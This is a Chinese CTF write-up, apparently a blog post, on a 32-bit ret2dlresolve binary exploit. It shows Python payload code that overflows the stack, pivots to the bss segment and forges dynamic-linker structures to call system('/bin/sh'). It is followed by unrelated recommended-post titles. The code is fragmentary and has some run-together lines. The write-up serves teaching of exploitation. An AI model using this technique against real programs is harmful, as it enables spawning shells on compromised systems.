ret2dl32

首先检查一下保护:

IDA分析一下

程序很简单就是,往bss段上的buf读入0x400个数据,然后拷贝到栈上。read_got还被置为0,这一看就是要逼着你使用ret2dlresolve。

首先我们程序劫持到bss段

padding = '\x00'*0x10c
padding += p32(base_stage+4)+'\x00'*8+ p32(base_stage+0x500)
padding = padding.ljust(0x300,'\x00')

上面的代码使得我们把控制流劫持到base_stage的位置。base_stage就是buf+0x300的位置。

接下来我们伪造 rel.plt ,dynsym ,dynstr这三个结构体,最后是布置好参数让程序执行plt0。

fake_sym_addr = base_stage + 0x18
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) /0x10
r_info = (index_dynsym << 8) | 0x7 st_name = (fake_sym_addr+0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
index_offset = (base_stage + 0x10) - rel_plt payload = p32(plt_0)
payload += p32(index_offset) #+0x4
payload += 'BBBB'
payload += p32(base_stage+80) #+0xC
payload += p32(elf.got['read']) + p32(r_info) #fake_rel
payload += 'C' * align
payload += p32(st_name) + p32(0) + p32(0) + p32(0x12) #fake_sym
payload += 'system\x00' #fake_dynstr
payload = payload.ljust(80,'A')
payload += '/bin/sh\x00

ret2dl32的更多相关文章

  1. ret2dl64

    ret2dl64 ret2dl64 与ret2dl32不同,ret2dl64需要知道libc. 检查保护: IDA看一看 read_got 被置为0,强制你使用ret2dlresolve. 我们先伪造 ...

随机推荐

  1. Git 学习相关笔记

    Git Bash 相关命令学 基础概念 参考: https://www.cnblogs.com/gaoht/p/9087070.html https://www.runoob.com/git/git- ...

  2. nginx日志文件切分

    定义cut_nginx_log.sh 日志文件脚本如下 #!/bin/bash#LOGS_PATH为日志存放路径LOGS_PATH=/weblog/nginx/logsYESTERDAY=$(date ...

  3. Spring Boot移除内嵌Tomcat,使用非web方式启动

    前言:当我们使用Spring Boot编写了一个批处理应用程序,该程序只是用于后台跑批数据,此时不需要内嵌的tomcat,简化启动方式使用非web方式启动项目,步骤如下: 1.在pom.xml文件中去 ...

  4. gojs插件使用教程

    目录 一.简介 二.简单使用 三.重要概念 1.TextBlock创建文本 2.Shape图形 3.Node节点(文本与图形结合) 4.Link箭头 四.数据绑定(前后端交互数据渲染) 五.去除水印 ...

  5. vue3 一些关键属性

    环境搭建 尤大开发了一个项目构建工具vite npm init vite-app <project-name> cd <project-name> npm install np ...

  6. Nginx解析漏洞复现以及哥斯拉连接Webshell实践

    Nginx解析漏洞复现以及哥斯拉连接Webshell实践 目录 1. 环境 2. 过程 2.1 vulhub镜像拉取 2.2 漏洞利用 2.3 webshell上传 2.4 哥斯拉Webshell连接 ...

  7. MySql_176. 第二高的薪水 + limit + distinct + null

    MySql_176. 第二高的薪水 LeetCode_MySql_176 题目描述 题解分析 代码实现 # Write your MySQL query statement below select( ...

  8. POJ-3159(差分约束+Dijikstra算法+Vector优化+向前星优化+java快速输入输出)

    Candies POJ-3159 这里是图论的一个应用,也就是差分约束.通过差分约束变换出一个图,再使用Dijikstra算法的链表优化形式而不是vector形式(否则超时). #include< ...

  9. 在ASP.NET Core中用HttpClient(一)——获取数据和内容

    在本文中,我们将学习如何在ASP.NET Core中集成和使用HttpClient.在学习不同HttpClient功能的同时使用Web API的资源.如何从Web API获取数据,以及如何直接使用Ht ...

  10. MongoDB -> kafka 高性能实时同步(sync 采集)mongodb数据到kafka解决方案

    写这篇博客的目的 让更多的人了解 阿里开源的MongoShake可以很好满足mongodb到kafka高性能高可用实时同步需求(项目地址:https://github.com/alibaba/Mong ...